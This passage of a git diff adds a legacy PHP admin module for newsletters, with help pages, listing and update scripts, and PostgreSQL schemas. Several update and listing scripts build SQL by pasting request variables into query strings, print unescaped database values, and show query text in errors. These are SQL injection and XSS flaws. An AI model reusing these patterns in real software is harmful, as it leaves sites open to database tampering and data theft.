+    $stmt2 = $db2h->query($pre1);
+    $data2 = $stmt2->fetchAll(PDO::FETCH_ASSOC);
+    echo '<pre>';
+    print_r($data);
+    print_r($data2);
+    echo '</pre>';
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+$db2h->beginTransaction();
+$IServer = new Toolkit_Image_Server();
+if (is_array($data)) {
+    $prep2 = "
+    UPDATE search_news
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt3 = $db2h->prepare($prep2);
+
+    foreach ($data as &$row) {
+        $image_URL = OLDORG.$row['image'];
+        //die($image_URL);
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt3->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt3->bindParam(":id", $row['id'], PDO::PARAM_INT);
+                $stmt3->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+if (is_array($data2)) {
+    $prep3 = "
+    UPDATE search_news_block
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt4 = $db2h->prepare($prep3);
+    foreach ($data2 as &$row2) {
+        echo '<pre>'.print_r($row2, true).'</pre>';
+        if (preg_match("/^is/",$row2['image'])) {
+            continue;
+        }
+        $image_URL = OLDORG.$row2['image'];
+        echo '<pre>'.print_r($image_URL, true).'</pre>';
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt4->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt4->bindParam(":id", $row2['id'], PDO::PARAM_INT);
+                $stmt4->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+$db2h->commit();
+?>
diff --git a/admin/SearchEng-Newsletter/help/add_media_category.phtml b/admin/SearchEng-Newsletter/help/add_media_category.phtml
new file mode 100755 (executable)
index 0000000..aa78e12
--- /dev/null
@@ -0,0 +1,17 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+<CENTER><H4>Add Category Help</H4></CENTER>
+This form allows you to add a category to your database.  There are four options at the category level.
+<P>
+<B>Name:</B> This field is the title or name of the Category.
+<P>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/SearchEng-Newsletter/help/closewindow.gif b/admin/SearchEng-Newsletter/help/closewindow.gif
new file mode 100755 (executable)
index 0000000..c54ed89
Binary files /dev/null and b/admin/SearchEng-Newsletter/help/closewindow.gif differ
diff --git a/admin/SearchEng-Newsletter/help/edit_media_category.phtml b/admin/SearchEng-Newsletter/help/edit_media_category.phtml
new file mode 100755 (executable)
index 0000000..cb125f6
--- /dev/null
@@ -0,0 +1,18 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+<CENTER><H4>Edit Category Help</H4></CENTER>
+This form allows you to edit the information contained within a category in your database.
+<P>
+<B>Description:</B> This field contains the text that will be displayed on the
+output page.
+<P>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/SearchEng-Newsletter/help/helpbg.gif b/admin/SearchEng-Newsletter/help/helpbg.gif
new file mode 100755 (executable)
index 0000000..0b62415
Binary files /dev/null and b/admin/SearchEng-Newsletter/help/helpbg.gif differ
diff --git a/admin/SearchEng-Newsletter/help/item.phtml b/admin/SearchEng-Newsletter/help/item.phtml
new file mode 100755 (executable)
index 0000000..054ccfe
--- /dev/null
@@ -0,0 +1,248 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Help</H4>
+<hr>
+<?
+switch ($key) {
+       case "view":
+       ?>
+<h4 align="center">View</h4>
+
+<P>
+This page lists the existing Items under a particular Category in the database.
+</p>
+<p>
+<b>List Items</b>
+</p>
+<p>This link will allow you to list all the items</p>
+<p>
+<b>Edit</b>
+</p>
+<p>This link allows you to edit the main section of this item</p>
+
+<p>
+<b>Delete This Item</b>
+</p>
+<p>This link will delete the item and any sections it has</p>
+
+<p>
+<b>Sections</b></p>
+<p>Each section is shown as it will appear on the Web site.</p>
+<p><b>Drop Down</b></p>
+<p>Each section can be arranged any way you like by selecting a pos number from
+the drop down button</p>
+<p><b>[Edit/Delete</b></p>
+<p>This link will allow you to edit or delete it from the database</p>
+
+<?
+       break;
+
+       case "edit":
+       ?>
+<h4 align="center">Edit Item</h4>
+<P>
+This page is for editing and modifying an existing Item in the database.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "View Items" page.
+</p>
+
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Item" i.e. "Newsletter"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Item will appear in on the front. The
+default value is the current Category.</p>
+
+<P>
+<b>Release Date:</b></p>
+<p>This allows you to date each item in the newsletter/Press release</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Item. This text will be
+displayed for the Item.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Item,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<?
+       break;
+       
+       case "add":
+       ?>
+<h4 align="center">Add Item</h4>
+<P>
+This page is for adding a new Item to the database.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "View Items" page.
+</p>
+<p>
+<b>Title:</b>
+</p>
+<p>This is the title that will appear for the "Item" i.e. "Newsletter"</p>
+<p>
+<b>Category:</b>
+</p>
+<p>This is the Category that the Item will appear in on the front. The
+default value is the current Category.</p>
+
+<P>
+<b>Release Date:</b></p>
+<p>This allows you to date each item in the newsletter/Press release</p>
+
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Item. This text will be
+displayed below the Item.
+</p>
+
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the Item,
+you can click "Update." This will update the information about the Item
+in the database.
+</p>
+<?
+       break;
+       
+       case "add section":
+       ?>
+<h4 align="center">Add Section</h4>
+<P>
+This page is for adding a new Section to this item.
+When editing is complete, click on the "Insert" button. The database will
+be updated, and you will be directed back to the "View Items" page.
+</p>
+<p>
+<b>Header:</b>
+</p>
+<p>This is the header that will appear for the "Item" i.e. "Newsletter"</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Item. This text will be
+displayed below the Item.
+</p>
+
+<P>
+<B>Image:</B><BR>
+    The image field is followed by a "Browse' button.
+    Clicking on the browse button will open a dialog box on your computer system where you may select a file to upload.
+    Click on the image file you want to upload, then click "<B>Open</B>".
+    The file name will appear in the form, ready to be uploaded when the form is submitted.
+<P>
+If you change your mind while editing and choose to abandon your modifications, you can click the 'Cancel' button and you will be returned to the list all page.
+<P>
+
+<?
+  $user_agent = strtolower($HTTP_USER_AGENT);
+  if(strstr($user_agent,"msie") == '')
+    {
+      $browser = "Netscape";
+    }
+  else
+    {
+      $browser = "MS Explorer";
+    }
+  if($browser == "Netscape")
+    {
+      echo "<HR NOSHADE>";
+      echo "<FONT COLOR=\"#FF0000\"><B>Netscape Users</B></FONT><BR>";
+      echo "When you open the image dialog box, check to see that the drop down box next to \"<B>files of type</B>\" displays \"<B>All Files(*.*)</B>\""
+           ." Otherwise you may not be able to see the images you want to upload";
+      echo "<HR NOSHADE>";
+    }
+?>
+<p>
+<b>Insert</b>
+</p>
+<p>When you have made the changes you want to the Item,
+you can click "Insert" This will add the information about the section to the
+item.
+</p>
+<?
+       break;
+
+       case "edit section":
+       ?>
+<h4 align="center">Edit Section</h4>
+<P>
+This page is for updating and maintaining a Section for this item.
+When editing is complete, click on the "Update" button. The database will
+be updated, and you will be directed back to the "View Items" page.
+</p>
+<p>
+<b>Header:</b>
+</p>
+<p>This is the header that will appear for the "Item" i.e. "Newsletter"</p>
+<p>
+<b>Description:</b>
+</p>
+<p>This is the text which will describe the Item. This text will be
+displayed below the Item.
+</p>
+
+<P>
+<B>Image:</B><BR>
+    The image field is followed by a "Browse' button.
+    Clicking on the browse button will open a dialog box on your computer system where you may select a file to upload.
+    Click on the image file you want to upload, then click "<B>Open</B>".
+    The file name will appear in the form, ready to be uploaded when the form is submitted.
+<P>
+    An image already in the database can be replaced with a new image, or just removed with out replacing it by
+   clicking 'Yes'  by the "<B>Delete Item  Image? </B>" question.
+<P>
+To remove an item from the database, simply click the 'Delete' button on the edit page.  The item will no longer show in the web page output.
+<P>
+If you change your mind while editing and choose to abandon your modifications, you can click the 'Cancel' button and you will be returned to the list all page.
+<P>
+
+<?
+  $user_agent = strtolower($HTTP_USER_AGENT);
+  if(strstr($user_agent,"msie") == '')
+    {
+      $browser = "Netscape";
+    }
+  else
+    {
+      $browser = "MS Explorer";
+    }
+  if($browser == "Netscape")
+    {
+      echo "<HR NOSHADE>";
+      echo "<FONT COLOR=\"#FF0000\"><B>Netscape Users</B></FONT><BR>";
+      echo "When you open the image dialog box, check to see that the drop down box next to \"<B>files of type</B>\" displays \"<B>All Files(*.*)</B>\""
+           ." Otherwise you may not be able to see the images you want to upload";
+      echo "<HR NOSHADE>";
+    }
+?>
+<p>
+<b>Update</b>
+</p>
+<p>When you have made the changes you want to the section,
+you can click "Update" This will update the information about the section for the
+item.
+</p>
+<?
+       break;
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/SearchEng-Newsletter/help/list_media_cat.phtml b/admin/SearchEng-Newsletter/help/list_media_cat.phtml
new file mode 100755 (executable)
index 0000000..a11fd91
--- /dev/null
@@ -0,0 +1,21 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+<CENTER><H4>List Category Help</H4></CENTER>
+This is the "List Category" Page. This page displays a List of all current categories in your database.
+<P>
+<UL>
+ <LI>To Add a Category, Click the "Add New Category" link at the top of the screen.
+<P>
+ <LI>To Edit the information in an existing Category, Click the "Edit" link next to the category you wish to edit.
+<P>
+ <LI>To add, edit, or modify the contents of a category, click the "List Items" link.
+<P>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
diff --git a/admin/SearchEng-Newsletter/help/list_media_category.phtml b/admin/SearchEng-Newsletter/help/list_media_category.phtml
new file mode 100755 (executable)
index 0000000..80488b3
--- /dev/null
@@ -0,0 +1,63 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<FONT FACE="ms sans serif,arial,helvetica" SIZE=2 COLOR="#444444">
+<H4 align="center">Photo Help</H4>
+<hr>
+
+<A NAME="que">
+<CENTER><H4>List All Items Help</H4></CENTER>
+<P>
+There are three sections to this help file:
+
+<UL>
+<LI><A HREF="#que"><B>Queued Items</B></A>
+<LI><A HREF="#cur"><B>"Current" Item</B></A>
+<LI><A HREF="#arc"><B>Archived Items</B></A>
+</UL>
+
+
+The news item listing page lists all of the items in the database, whether in "Queued", "Current" or "Archived".
+This page is the starting point for creating or modifying items in the item database.
+
+<P>
+<B>Queued Items</B><P>
+When an item is first entered or created by clicking "New Item" it appears in the "Queued" table.  From there you can either "Edit" the item, or "Advance" it.
+Items in this table are not available for viewing from the user side. You can create and have waiting, multiple items waiting to be "published" or displayed to the user.
+Items are displayed by their date, sorted latest to oldest. The oldest displayed item will become the current item when the advance function is used.
+Items can be created and modified many times before being Advanced.
+<P>
+<CENTER>
+<FONT SIZE=1 COLOR="#FF0000">NOTE: </FONT>
+<FONT SIZE=1>YOU "DELETE" AN ITEM FROM THE EDIT SCREEN.</FONT>
+</CENTER>
+<P>
+
+<A NAME="cur">
+<B>Current Item</B><P>
+This is the "latest" or most Current item displayed on the user side. An example would be the latest press release made public or this months newsletter.
+Typically this item would be displayed first before the archives are presented to the user.  Only one item can be "Current" at one time.  
+This item will be moved to the archive table when the advance function is used.
+Items in this table can be edited.
+<P>
+<A NAME="arc">
+<B>Archived Comments</B><P>
+The "Archived" table contains items that are no longer current but are displayed in a browse-able archive list.
+Items are displayed by their date, sorted latest to oldest.
+Items in this table can be edited.
+
+<PRE>
+
+
+
+
+
+
+
+</PRE>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
diff --git a/admin/SearchEng-Newsletter/help/newsletter.phtml b/admin/SearchEng-Newsletter/help/newsletter.phtml
new file mode 100755 (executable)
index 0000000..cc9cf8a
--- /dev/null
@@ -0,0 +1,58 @@
+<HTML>
+<HEAD>
+<TITLE>Help</TITLE>
+</HEAD>
+<BODY BGCOLOR="#FFFFFF" BACKGROUND="helpbg.gif" TEXT="#000000" LINK="#FF0000" VLINK="#800000" ALINK="#FF00FF" BACKGROUND="?">
+<A NAME="que">
+<CENTER><H4>List All Items Help</H4></CENTER>
+<P>
+There are three sections to this help file:
+
+<UL>
+<LI><A HREF="#que"><B>Queued Items</B></A>
+<LI><A HREF="#cur"><B>"Current" Item</B></A>
+<LI><A HREF="#arc"><B>Archived Items</B></A>
+</UL>
+
+
+The news item listing page lists all of the items in the database, whether in "Queued", "Current" or "Archived".
+This page is the starting point for creating or modifying items in the item database.
+
+<P>
+<B>Queued Items</B><P>
+When an item is first entered or created by clicking "New Item" it appears in the "Queued" table.  From there you can either "Edit" the item, or "Advance" it.
+Items in this table are not available for viewing from the user side. You can create and have waiting, multiple items waiting to be "published" or displayed to the user.
+Items are displayed by their date, sorted latest to oldest. The oldest displayed item will become the current item when the advance function is used.
+Items can be created and modified many times before being Advanced.
+<P>
+<CENTER>
+<FONT SIZE=1 COLOR="#FF0000">NOTE: </FONT>
+<FONT SIZE=1>YOU "DELETE" AN ITEM FROM THE EDIT SCREEN.</FONT>
+</CENTER>
+<P>
+
+<A NAME="cur">
+<B>Current Item</B><P>
+This is the "latest" or most Current item displayed on the user side. An example would be the latest press release made public or this months newsletter.
+Typically this item would be displayed first before the archives are presented to the user.  Only one item can be "Current" at one time.  
+This item will be moved to the archive table when the advance function is used.
+Items in this table can be edited.
+<P>
+<A NAME="arc">
+<B>Archived Comments</B><P>
+The "Archived" table contains items that are no longer current but are displayed in a browse-able archive list.
+Items are displayed by their date, sorted latest to oldest.
+Items in this table can be edited.
+
+<PRE>
+
+
+
+
+
+
+
+</PRE>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="closewindow.gif" border=0></A></CENTER>
+</BODY>
diff --git a/admin/SearchEng-Newsletter/list_news.phtml b/admin/SearchEng-Newsletter/list_news.phtml
new file mode 100755 (executable)
index 0000000..b580997
--- /dev/null
@@ -0,0 +1,81 @@
+<?php
+require_once "../../setup.phtml";
+require_once "news-setup.php";
+
+$sql = "
+SELECT header 
+  FROM search_news_category
+ WHERE id = :id";
+try {
+    $stmt = $db2h->prepare($sql);
+    $stmt->bindParam(":id", $_REQUEST['catid'], PDO::PARAM_INT);
+    $stmt->execute();
+    $header = $stmt->fetchColumn();
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+
+top("{$header} (List Items)  [Search Engine]", HELP_BASE."list_media_category.phtml");
+$lnav = array(
+                       "Advance queued"        => array (
+       "update_news.phtml?Command=Advance&catid=$catid",
+       "onClick=\"
+       if(confirm('You are Advancing the queued item')) {
+       return(true);
+       }
+       else{
+       return(false)
+       }\""),
+                       "Add A New Item"        => "add_news.phtml?catid=$catid",
+       "Change AutoResponse" => "edit_autoresponse.phtml?id=1"
+               );
+html_nav_table($lnav, 3);
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG,1);
+$qs2 = "SET DATESTYLE TO 'SQL, NONEUROPEAN';
+
+               SELECT          id,title,status,vol,issue 
+               FROM            search_news
+               WHERE           catid = $catid
+               ORDER BY        status DESC,vol DESC,issue DESC";
+       
+$res = db_exec($dbd,$qs2);
+if(!$res)
+       html_error(DB_ERROR_MSG, 1);
+
+//echo "</td></tr><tr><td>\n";
+$current_status = "";
+       echo '<table id="admin-list-table">';
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC); 
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+       
+       if($current_status != $row[status]){
+               ?>
+               <tr>
+                 <td colspan=3 align=center class="theadertd">
+                 <span><?echo ucfirst($row[status])?></span></td>
+               </tr>
+               <?
+               $current_status = $row[status];
+       }
+       ?>
+<tr>
+       <td align="left">
+               <a href="view_news.phtml?id=<?echo $row[id]?>&catid=<?echo $catid?>">[Edit/Delete]</a>
+       </td>
+       <td>
+               <?echo $row[title]?>
+       </td>
+       <td>
+               <?echo "Vol ".$row[vol]." Issue ".$row[issue]?>
+       </td>
+</tr>
+       <?
+       }
+       echo "</table>";
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/list_news_category.phtml b/admin/SearchEng-Newsletter/list_news_category.phtml
new file mode 100755 (executable)
index 0000000..5c9a572
--- /dev/null
@@ -0,0 +1,48 @@
+<?
+include_once("../../setup.phtml");
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG,1);
+
+$qs =  "SELECT         id,header 
+               FROM    search_news_category";
+
+if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+top("Newsletters and Press Releases (List Categories) [Search Engines]",
+HELP_BASE."list_media_cat.phtml");
+
+$nav = array (
+       "Add Media Category" => "add_news_category.phtml",
+       "List Media Categories" => "list_news_category.phtml"
+);
+html_nav_table($nav,2);
+       
+echo '<table id="admin-list-table">';
+//form_header("add_news_category.phtml","POST","");
+?>
+<tr>
+<TH>
+       Function
+</TH>
+<TH>
+       Category
+</TH>
+</tr>
+
+<?
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC); 
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+       ?>
+<tr>
+       <td class="navtd2" NOWRAP>
+       <a href="edit_news_category.phtml?id=<?echo $row[id]?>">[Edit]</a>
+       <a href="list_news.phtml?catid=<?echo $row[id]?>">[List Items]</a>
+       </td>
+       <td class="navtd2" width=80%><?echo $row[header]?></td>
+</tr>
+       <?
+       }
+echo "</table>\n";
+footer();
+?>
diff --git a/admin/SearchEng-Newsletter/newletter_arch.sql b/admin/SearchEng-Newsletter/newletter_arch.sql
new file mode 100755 (executable)
index 0000000..45de400
--- /dev/null
@@ -0,0 +1,47 @@
+CREATE TABLE "search_news" (
+       "id" SERIAL, 
+       "pr_date" date,
+       "catid" integer,
+       "status" character varying(8104),
+       "header" character varying(8104),
+       "description" character varying(8104),
+       "title" character varying(8104)
+);
+
+REVOKE ALL on "search_news" from PUBLIC;
+GRANT ALL on "search_news" to "nobody";
+GRANT ALL on "search_news" to "postgres";
+
+REVOKE ALL on "search_news_id_seq" from PUBLIC;
+GRANT ALL on "search_news_id_seq" to "nobody";
+GRANT ALL on "search_news_id_seq" to "postgres";
+
+CREATE TABLE "search_news_block" (
+       "id" SERIAL, 
+       "news_id" integer,
+       "header" character varying(8104),
+       "description" character varying(8104),
+       "image" character varying(8104),
+       "pos" integer
+);
+
+REVOKE ALL on "search_news_block" from PUBLIC;
+GRANT ALL on "search_news_block" to "nobody";
+GRANT ALL on "search_news_block" to "postgres";
+
+REVOKE ALL on "search_news_block_id_seq" from PUBLIC;
+GRANT ALL on "search_news_block_id_seq" to "nobody";
+GRANT ALL on "search_news_block_id_seq" to "postgres";
+
+CREATE TABLE "search_news_category" (
+       "id" SERIAL, 
+       "header" character varying(8104)
+);
+
+REVOKE ALL on "search_news_category" from PUBLIC;
+GRANT ALL on "search_news_category" to "nobody";
+GRANT ALL on "search_news_category" to "postgres";
+
+REVOKE ALL on "search_news_category_id_seq" from PUBLIC;
+GRANT ALL on "search_news_category_id_seq" to "nobody";
+GRANT ALL on "search_news_category_id_seq" to "postgres";
diff --git a/admin/SearchEng-Newsletter/news-setup.php b/admin/SearchEng-Newsletter/news-setup.php
new file mode 100644 (file)
index 0000000..a76bc0e
--- /dev/null
@@ -0,0 +1,18 @@
+<?php
+try {
+    $dsn = 'pgsql:' . CONN2_STR;
+    // Keep the fetch mode set to FETCH_BOTH, we use
+    // associative arrays throughout our apps, but some PEAR lib
+    // apps require numerical indicies to work correctly.
+    // i.e. (DataGrids working w/ PDO's)
+    $driverOptions = array(
+        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
+    );
+    $db2h = new PDO($dsn, null, null, $driverOptions);
+    $db2h->setAttribute(PDO::ATTR_ERRMODE,
+        PDO::ERRMODE_EXCEPTION);
+    $db2h->query("SET DATESTYLE TO 'SQL,US'");
+} catch (PDOException $e) {
+    Toolkit_Common::handleError($e);
+}
+?>
diff --git a/admin/SearchEng-Newsletter/news_response.sql b/admin/SearchEng-Newsletter/news_response.sql
new file mode 100755 (executable)
index 0000000..bf475df
--- /dev/null
@@ -0,0 +1,13 @@
+CREATE TABLE "search_news_response" (
+       "id" SERIAL, 
+       "subject" text,
+       "response" text 
+);
+
+REVOKE ALL on "search_news_response" from PUBLIC;
+GRANT ALL on "search_news_response" to "postgres";
+GRANT ALL on "search_news_response" to "nobody";
+
+REVOKE ALL on "search_news_response_id_seq" from PUBLIC;
+GRANT ALL on "search_news_response_id_seq" to "postgres";
+GRANT ALL on "search_news_response_id_seq" to "nobody";
diff --git a/admin/SearchEng-Newsletter/path.phtml b/admin/SearchEng-Newsletter/path.phtml
new file mode 100755 (executable)
index 0000000..2c71df5
--- /dev/null
@@ -0,0 +1,3 @@
+<?
+include_once("../../setup.phtml");
+?>
diff --git a/admin/SearchEng-Newsletter/update_autoresponse.phtml b/admin/SearchEng-Newsletter/update_autoresponse.phtml
new file mode 100755 (executable)
index 0000000..ba38734
--- /dev/null
@@ -0,0 +1,36 @@
+<?php
+require_once "../../setup.phtml";
+switch($Command) {
+case "Update":
+    
+    $dbd = db_connect(CONN2_STR);
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+    $qs = "UPDATE      search_news_response 
+           SET         subject         = '$subject',
+                    response   = '$response'
+           WHERE       id                      = $id";
+    if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+    $location = "list_news.phtml?catid=1"; 
+    break;
+
+case "Insert":
+    $dbd = db_connect(CONN2_STR);
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+    $qs = "INSERT INTO search_news_response 
+                (subject,response)
+           VALUES 
+                ('$subject','$response')";
+    if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    $location = "list_news.phtml?catid=1"; 
+    break;
+
+case "Cancel":
+    $location = "list_news.phtml?catid=1"; 
+break;
+
+default:
+    html_error("incorrect value for Command",1);
+    break;
+}
+header("Location: $location");
+?>
diff --git a/admin/SearchEng-Newsletter/update_block.phtml b/admin/SearchEng-Newsletter/update_block.phtml
new file mode 100755 (executable)
index 0000000..f9e0948
--- /dev/null
@@ -0,0 +1,196 @@
+<?php
+require_once "../../setup.phtml";
+switch($Command) {
+case "Move":// {{{
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+    
+    $qs = "SELECT      pos,news_id
+           FROM        search_news_block
+           WHERE       id = $id";
+
+    if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    $data = db_fetch_array($result,0,PGSQL_ASSOC);
+    $pos = $data['pos'];
+    $news_id = $data['news_id'];
+    
+    if($newpos < $pos) {
+        $qs = "SELECT  id,pos
+               FROM    search_news_block
+               WHERE   pos < $pos
+               AND             pos >= $newpos
+               AND             news_id = $news_id";
+
+        if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+        $counter = ($newpos + 1);
+        for($i=0;$i<db_numrows($res);$i++) {
+            $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+            $res_id = $res_data['id'];
+            $res_pos = $res_data['pos'];
+            $qs = "UPDATE      search_news_block
+                   SET                 pos = $counter
+                   WHERE       id = $res_id";
+
+        if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+        $counter++;
+        }
+    }
+    else {
+        $qs = "SELECT  pos,id
+               FROM    search_news_block
+               WHERE   pos > $pos
+               AND             pos <= $newpos
+               AND             news_id = $news_id";
+
+        if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+        
+        $counter = ($pos);
+        for($i=0;$i<db_numrows($res);$i++) {
+            $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+            $res_id = $res_data['id'];
+            $res_pos = $res_data['pos'];
+            $qs = "UPDATE      search_news_block
+                   SET         pos = $counter
+                   WHERE       id = $res_id";
+            if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+            $counter++;
+        }
+    }
+    $qs = "UPDATE      search_news_block
+           SET                 pos = $newpos
+           WHERE       id = $id";
+
+    if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+
+    $location = "view_news.phtml?id=$news_id&catid=$catid&news_id=$news_id"; 
+    break;// }}}
+case "Update":// {{{
+    
+    if($image == "none" || $image == "") {
+        $image_name = $oldimage;
+    }
+    else {
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        if ($oldimage) {
+            $imServer->imageDelete($oldimage);
+        }
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    
+    if($delete == "1") {
+        $image_name = "";
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $imServer->imageDelete($_REQUEST['oldimage']);
+    }
+    
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+    
+    $qs = "UPDATE      search_news_block 
+           SET         header          = '$header',
+                    image              = '$image_name',
+                    description = '$description',
+                    news_id    = $news_id
+           WHERE       id                      = $id";
+
+    if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+    
+    $location = "view_news.phtml?id=$news_id&catid=$catid"; 
+
+    break;// }}}
+case "Insert":// {{{
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    if($image == "none" || $image == "") {
+        $image_name = "";
+    }
+    else { 
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    $qs = "SELECT      MAX(pos) as maxpos
+           FROM        search_news_block
+           WHERE       news_id = $news_id";
+
+    if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+    $data = db_fetch_array($res,0,PGSQL_ASSOC);
+    $nextpos = $data['maxpos'];
+    $nextpos++;
+    
+    $qs = "INSERT INTO search_news_block 
+                (header,image,description,news_id,pos)
+           VALUES 
+                ('$header','$image_name','$description',$news_id,$nextpos)";
+                
+    if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    $location = "view_news.phtml?id=$news_id&catid=$catid"; 
+
+    break;// }}}
+case "Delete":// {{{
+    $dbd = db_connect(CONN2_STR);
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    $qs = "SELECT      image,pos
+           FROM        search_news_block
+           WHERE       id = $id";
+    
+    if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    $data = db_fetch_array($res,0,PGSQL_ASSOC);
+    $oldimage = $data['image'];           
+    $pos = $data['pos'];
+    
+    $qs = "DELETE 
+           FROM        search_news_block 
+           WHERE       id = $id";
+    
+    if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    if($oldimage != "") {
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $imServer->imageDelete($oldimage);
+    }
+
+    $qs = "SELECT      id 
+           FROM        search_news_block
+           WHERE       news_id = $news_id
+           AND         pos >= $pos
+           ORDER BY pos";
+
+    if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+    $counter = $pos;
